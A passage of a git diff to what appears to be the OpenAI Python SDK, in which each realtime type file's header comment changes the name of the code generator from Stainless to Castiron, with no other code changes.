+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/call_reject_params.py b/src/openai/types/realtime/call_reject_params.py
index f12222cded..31cd6f1393 100644
--- a/src/openai/types/realtime/call_reject_params.py
+++ b/src/openai/types/realtime/call_reject_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/client_secret_create_params.py b/src/openai/types/realtime/client_secret_create_params.py
index 2297f3f6d2..1cf7ed79e3 100644
--- a/src/openai/types/realtime/client_secret_create_params.py
+++ b/src/openai/types/realtime/client_secret_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/client_secret_create_response.py b/src/openai/types/realtime/client_secret_create_response.py
index 3a30b10544..f6f6dca5db 100644
--- a/src/openai/types/realtime/client_secret_create_response.py
+++ b/src/openai/types/realtime/client_secret_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/realtime/conversation_created_event.py b/src/openai/types/realtime/conversation_created_event.py
index 3026322e86..58ed14f4e4 100644
--- a/src/openai/types/realtime/conversation_created_event.py
+++ b/src/openai/types/realtime/conversation_created_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/conversation_item.py b/src/openai/types/realtime/conversation_item.py
index be021520a2..85637988b1 100644
--- a/src/openai/types/realtime/conversation_item.py
+++ b/src/openai/types/realtime/conversation_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/realtime/conversation_item_added.py b/src/openai/types/realtime/conversation_item_added.py
index 0e336a9261..68e0c8f3da 100644
--- a/src/openai/types/realtime/conversation_item_added.py
+++ b/src/openai/types/realtime/conversation_item_added.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/conversation_item_create_event.py b/src/openai/types/realtime/conversation_item_create_event.py
index fd0fc00fa2..71e0422cbb 100644
--- a/src/openai/types/realtime/conversation_item_create_event.py
+++ b/src/openai/types/realtime/conversation_item_create_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/conversation_item_create_event_param.py b/src/openai/types/realtime/conversation_item_create_event_param.py
index e991e37c3b..c146efebfc 100644
--- a/src/openai/types/realtime/conversation_item_create_event_param.py
+++ b/src/openai/types/realtime/conversation_item_create_event_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/conversation_item_created_event.py b/src/openai/types/realtime/conversation_item_created_event.py
index 6ae6f05ffe..97b2eb7e11 100644
--- a/src/openai/types/realtime/conversation_item_created_event.py
+++ b/src/openai/types/realtime/conversation_item_created_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/conversation_item_delete_event.py b/src/openai/types/realtime/conversation_item_delete_event.py
index c662f386e3..f683e43969 100644
--- a/src/openai/types/realtime/conversation_item_delete_event.py
+++ b/src/openai/types/realtime/conversation_item_delete_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/conversation_item_delete_event_param.py b/src/openai/types/realtime/conversation_item_delete_event_param.py
index e79bb68c9a..0c06b2b060 100644
--- a/src/openai/types/realtime/conversation_item_delete_event_param.py
+++ b/src/openai/types/realtime/conversation_item_delete_event_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/conversation_item_deleted_event.py b/src/openai/types/realtime/conversation_item_deleted_event.py
index 9826289ebf..21bcd93884 100644
--- a/src/openai/types/realtime/conversation_item_deleted_event.py
+++ b/src/openai/types/realtime/conversation_item_deleted_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/conversation_item_done.py b/src/openai/types/realtime/conversation_item_done.py
index 6a823c65a8..4622f64dea 100644
--- a/src/openai/types/realtime/conversation_item_done.py
+++ b/src/openai/types/realtime/conversation_item_done.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/conversation_item_input_audio_transcription_completed_event.py b/src/openai/types/realtime/conversation_item_input_audio_transcription_completed_event.py
index e68f163806..a2b98e1b80 100644
--- a/src/openai/types/realtime/conversation_item_input_audio_transcription_completed_event.py
+++ b/src/openai/types/realtime/conversation_item_input_audio_transcription_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/realtime/conversation_item_input_audio_transcription_delta_event.py b/src/openai/types/realtime/conversation_item_input_audio_transcription_delta_event.py
index 5f3f54810f..73d15e2271 100644
--- a/src/openai/types/realtime/conversation_item_input_audio_transcription_delta_event.py
+++ b/src/openai/types/realtime/conversation_item_input_audio_transcription_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/conversation_item_input_audio_transcription_failed_event.py b/src/openai/types/realtime/conversation_item_input_audio_transcription_failed_event.py
index e8ad05e43c..d927148b54 100644
--- a/src/openai/types/realtime/conversation_item_input_audio_transcription_failed_event.py
+++ b/src/openai/types/realtime/conversation_item_input_audio_transcription_failed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/conversation_item_input_audio_transcription_segment.py b/src/openai/types/realtime/conversation_item_input_audio_transcription_segment.py
index dcc4916580..611bd0d27f 100644
--- a/src/openai/types/realtime/conversation_item_input_audio_transcription_segment.py
+++ b/src/openai/types/realtime/conversation_item_input_audio_transcription_segment.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/conversation_item_param.py b/src/openai/types/realtime/conversation_item_param.py
index c8b442ecad..2a5429d0d2 100644
--- a/src/openai/types/realtime/conversation_item_param.py
+++ b/src/openai/types/realtime/conversation_item_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/conversation_item_retrieve_event.py b/src/openai/types/realtime/conversation_item_retrieve_event.py
index e7d8eb6c49..ec6fda95d6 100644
--- a/src/openai/types/realtime/conversation_item_retrieve_event.py
+++ b/src/openai/types/realtime/conversation_item_retrieve_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/conversation_item_retrieve_event_param.py b/src/openai/types/realtime/conversation_item_retrieve_event_param.py
index 59fdb6fb93..9dcd398d20 100644
--- a/src/openai/types/realtime/conversation_item_retrieve_event_param.py
+++ b/src/openai/types/realtime/conversation_item_retrieve_event_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/conversation_item_truncate_event.py b/src/openai/types/realtime/conversation_item_truncate_event.py
index 16c82183c4..55a52a26f2 100644
--- a/src/openai/types/realtime/conversation_item_truncate_event.py
+++ b/src/openai/types/realtime/conversation_item_truncate_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/conversation_item_truncate_event_param.py b/src/openai/types/realtime/conversation_item_truncate_event_param.py
index e9b41fc980..2184da23b9 100644
--- a/src/openai/types/realtime/conversation_item_truncate_event_param.py
+++ b/src/openai/types/realtime/conversation_item_truncate_event_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/conversation_item_truncated_event.py b/src/openai/types/realtime/conversation_item_truncated_event.py
index c78a776d9b..7aa1a1879e 100644
--- a/src/openai/types/realtime/conversation_item_truncated_event.py
+++ b/src/openai/types/realtime/conversation_item_truncated_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/input_audio_buffer_append_event.py b/src/openai/types/realtime/input_audio_buffer_append_event.py
index 4c9e9a544d..f978b92228 100644
--- a/src/openai/types/realtime/input_audio_buffer_append_event.py
+++ b/src/openai/types/realtime/input_audio_buffer_append_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/input_audio_buffer_append_event_param.py b/src/openai/types/realtime/input_audio_buffer_append_event_param.py
index a0d308e4d9..cd765c2c8a 100644
--- a/src/openai/types/realtime/input_audio_buffer_append_event_param.py
+++ b/src/openai/types/realtime/input_audio_buffer_append_event_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/input_audio_buffer_clear_event.py b/src/openai/types/realtime/input_audio_buffer_clear_event.py
index 5526bcbfa9..081463744d 100644
--- a/src/openai/types/realtime/input_audio_buffer_clear_event.py
+++ b/src/openai/types/realtime/input_audio_buffer_clear_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/input_audio_buffer_clear_event_param.py b/src/openai/types/realtime/input_audio_buffer_clear_event_param.py
index 8e0e9c55fa..0cbce71819 100644
--- a/src/openai/types/realtime/input_audio_buffer_clear_event_param.py
+++ b/src/openai/types/realtime/input_audio_buffer_clear_event_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/input_audio_buffer_cleared_event.py b/src/openai/types/realtime/input_audio_buffer_cleared_event.py
index e4775567dc..3c6d5e20ea 100644
--- a/src/openai/types/realtime/input_audio_buffer_cleared_event.py
+++ b/src/openai/types/realtime/input_audio_buffer_cleared_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/input_audio_buffer_commit_event.py b/src/openai/types/realtime/input_audio_buffer_commit_event.py
index fe2ec01783..b68301bebf 100644
--- a/src/openai/types/realtime/input_audio_buffer_commit_event.py
+++ b/src/openai/types/realtime/input_audio_buffer_commit_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/input_audio_buffer_commit_event_param.py b/src/openai/types/realtime/input_audio_buffer_commit_event_param.py
index 20342795e8..8777a5616a 100644
--- a/src/openai/types/realtime/input_audio_buffer_commit_event_param.py
+++ b/src/openai/types/realtime/input_audio_buffer_commit_event_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/input_audio_buffer_committed_event.py b/src/openai/types/realtime/input_audio_buffer_committed_event.py
index 15dc8254f3..3eb3975d02 100644
--- a/src/openai/types/realtime/input_audio_buffer_committed_event.py
+++ b/src/openai/types/realtime/input_audio_buffer_committed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/input_audio_buffer_dtmf_event_received_event.py b/src/openai/types/realtime/input_audio_buffer_dtmf_event_received_event.py
index c2623cc7b8..ec812824c6 100644
--- a/src/openai/types/realtime/input_audio_buffer_dtmf_event_received_event.py
+++ b/src/openai/types/realtime/input_audio_buffer_dtmf_event_received_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/input_audio_buffer_speech_started_event.py b/src/openai/types/realtime/input_audio_buffer_speech_started_event.py
index 1bd4c74eb0..ea9ff3bfbf 100644
--- a/src/openai/types/realtime/input_audio_buffer_speech_started_event.py
+++ b/src/openai/types/realtime/input_audio_buffer_speech_started_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/input_audio_buffer_speech_stopped_event.py b/src/openai/types/realtime/input_audio_buffer_speech_stopped_event.py
index b3fb20929a..9e33d70849 100644
--- a/src/openai/types/realtime/input_audio_buffer_speech_stopped_event.py
+++ b/src/openai/types/realtime/input_audio_buffer_speech_stopped_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/input_audio_buffer_timeout_triggered.py b/src/openai/types/realtime/input_audio_buffer_timeout_triggered.py
index 72b107d56e..ef54c5a618 100644
--- a/src/openai/types/realtime/input_audio_buffer_timeout_triggered.py
+++ b/src/openai/types/realtime/input_audio_buffer_timeout_triggered.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/log_prob_properties.py b/src/openai/types/realtime/log_prob_properties.py
index 423af1c492..b9302abaa1 100644
--- a/src/openai/types/realtime/log_prob_properties.py
+++ b/src/openai/types/realtime/log_prob_properties.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
diff --git a/src/openai/types/realtime/mcp_list_tools_completed.py b/src/openai/types/realtime/mcp_list_tools_completed.py
index 2fe64147d6..d0e1fc5b29 100644
--- a/src/openai/types/realtime/mcp_list_tools_completed.py
+++ b/src/openai/types/realtime/mcp_list_tools_completed.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/mcp_list_tools_failed.py b/src/openai/types/realtime/mcp_list_tools_failed.py
index 8cad7c0a12..a15375fd95 100644
--- a/src/openai/types/realtime/mcp_list_tools_failed.py
+++ b/src/openai/types/realtime/mcp_list_tools_failed.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/mcp_list_tools_in_progress.py b/src/openai/types/realtime/mcp_list_tools_in_progress.py
index 823bb875a3..188ba46f0b 100644
--- a/src/openai/types/realtime/mcp_list_tools_in_progress.py
+++ b/src/openai/types/realtime/mcp_list_tools_in_progress.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/noise_reduction_type.py b/src/openai/types/realtime/noise_reduction_type.py
index f4338991bb..6a6bc2a9a9 100644
--- a/src/openai/types/realtime/noise_reduction_type.py
+++ b/src/openai/types/realtime/noise_reduction_type.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/realtime/output_audio_buffer_clear_event.py b/src/openai/types/realtime/output_audio_buffer_clear_event.py
index b3fa7620ac..dcaf44d512 100644
--- a/src/openai/types/realtime/output_audio_buffer_clear_event.py
+++ b/src/openai/types/realtime/output_audio_buffer_clear_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/output_audio_buffer_clear_event_param.py b/src/openai/types/realtime/output_audio_buffer_clear_event_param.py
index 59f897a5c1..2d4ade99b0 100644
--- a/src/openai/types/realtime/output_audio_buffer_clear_event_param.py
+++ b/src/openai/types/realtime/output_audio_buffer_clear_event_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/rate_limits_updated_event.py b/src/openai/types/realtime/rate_limits_updated_event.py
index 951de103af..a6b335f7f4 100644
--- a/src/openai/types/realtime/rate_limits_updated_event.py
+++ b/src/openai/types/realtime/rate_limits_updated_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_audio_config.py b/src/openai/types/realtime/realtime_audio_config.py
index daa50358a8..0f52094035 100644
--- a/src/openai/types/realtime/realtime_audio_config.py
+++ b/src/openai/types/realtime/realtime_audio_config.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/realtime/realtime_audio_config_input.py b/src/openai/types/realtime/realtime_audio_config_input.py
index ba7d211d0d..5d9ce958d1 100644
--- a/src/openai/types/realtime/realtime_audio_config_input.py
+++ b/src/openai/types/realtime/realtime_audio_config_input.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/realtime/realtime_audio_config_input_param.py b/src/openai/types/realtime/realtime_audio_config_input_param.py
index 5cea9f0efe..6f9e26caf6 100644
--- a/src/openai/types/realtime/realtime_audio_config_input_param.py
+++ b/src/openai/types/realtime/realtime_audio_config_input_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_audio_config_output.py b/src/openai/types/realtime/realtime_audio_config_output.py
index 143cef67a5..d9efcdd748 100644
--- a/src/openai/types/realtime/realtime_audio_config_output.py
+++ b/src/openai/types/realtime/realtime_audio_config_output.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/realtime/realtime_audio_config_output_param.py b/src/openai/types/realtime/realtime_audio_config_output_param.py
index 5d920f69a6..e6680e99b7 100644
--- a/src/openai/types/realtime/realtime_audio_config_output_param.py
+++ b/src/openai/types/realtime/realtime_audio_config_output_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_audio_config_param.py b/src/openai/types/realtime/realtime_audio_config_param.py
index 7899fe359b..477570a404 100644
--- a/src/openai/types/realtime/realtime_audio_config_param.py
+++ b/src/openai/types/realtime/realtime_audio_config_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_audio_formats.py b/src/openai/types/realtime/realtime_audio_formats.py
index fa10c9a7a4..c4591b02ce 100644
--- a/src/openai/types/realtime/realtime_audio_formats.py
+++ b/src/openai/types/realtime/realtime_audio_formats.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/realtime/realtime_audio_formats_param.py b/src/openai/types/realtime/realtime_audio_formats_param.py
index 6392f632c3..37ffdb6e41 100644
--- a/src/openai/types/realtime/realtime_audio_formats_param.py
+++ b/src/openai/types/realtime/realtime_audio_formats_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_audio_input_turn_detection.py b/src/openai/types/realtime/realtime_audio_input_turn_detection.py
index 8d9aff3563..e864a22909 100644
--- a/src/openai/types/realtime/realtime_audio_input_turn_detection.py
+++ b/src/openai/types/realtime/realtime_audio_input_turn_detection.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/realtime/realtime_audio_input_turn_detection_param.py b/src/openai/types/realtime/realtime_audio_input_turn_detection_param.py
index 30522d74e1..3429c9e4a6 100644
--- a/src/openai/types/realtime/realtime_audio_input_turn_detection_param.py
+++ b/src/openai/types/realtime/realtime_audio_input_turn_detection_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_client_event.py b/src/openai/types/realtime/realtime_client_event.py
index 3b1c348daa..d351f02bf2 100644
--- a/src/openai/types/realtime/realtime_client_event.py
+++ b/src/openai/types/realtime/realtime_client_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/realtime/realtime_client_event_param.py b/src/openai/types/realtime/realtime_client_event_param.py
index cda5766e2a..30fa229e81 100644
--- a/src/openai/types/realtime/realtime_client_event_param.py
+++ b/src/openai/types/realtime/realtime_client_event_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_connect_params.py b/src/openai/types/realtime/realtime_connect_params.py
index 950f36212f..346a17f631 100644
--- a/src/openai/types/realtime/realtime_connect_params.py
+++ b/src/openai/types/realtime/realtime_connect_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_conversation_item_assistant_message.py b/src/openai/types/realtime/realtime_conversation_item_assistant_message.py
index 207831a3c8..d430fc9d80 100644
--- a/src/openai/types/realtime/realtime_conversation_item_assistant_message.py
+++ b/src/openai/types/realtime/realtime_conversation_item_assistant_message.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_conversation_item_assistant_message_param.py b/src/openai/types/realtime/realtime_conversation_item_assistant_message_param.py
index abc78e7d3f..d75278b67f 100644
--- a/src/openai/types/realtime/realtime_conversation_item_assistant_message_param.py
+++ b/src/openai/types/realtime/realtime_conversation_item_assistant_message_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/realtime/realtime_conversation_item_function_call.py b/src/openai/types/realtime/realtime_conversation_item_function_call.py
index 4e40394883..cfe299fab3 100644
--- a/src/openai/types/realtime/realtime_conversation_item_function_call.py
+++ b/src/openai/types/realtime/realtime_conversation_item_function_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_conversation_item_function_call_output.py b/src/openai/types/realtime/realtime_conversation_item_function_call_output.py
index cdbc352d85..2a9442c499 100644
--- a/src/openai/types/realtime/realtime_conversation_item_function_call_output.py
+++ b/src/openai/types/realtime/realtime_conversation_item_function_call_output.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/realtime/realtime_conversation_item_function_call_output_param.py b/src/openai/types/realtime/realtime_conversation_item_function_call_output_param.py
index 2e56a81dc3..37d3f0638d 100644
--- a/src/openai/types/realtime/realtime_conversation_item_function_call_output_param.py
+++ b/src/openai/types/realtime/realtime_conversation_item_function_call_output_param.py
@@ -1,4 +1,4 @@
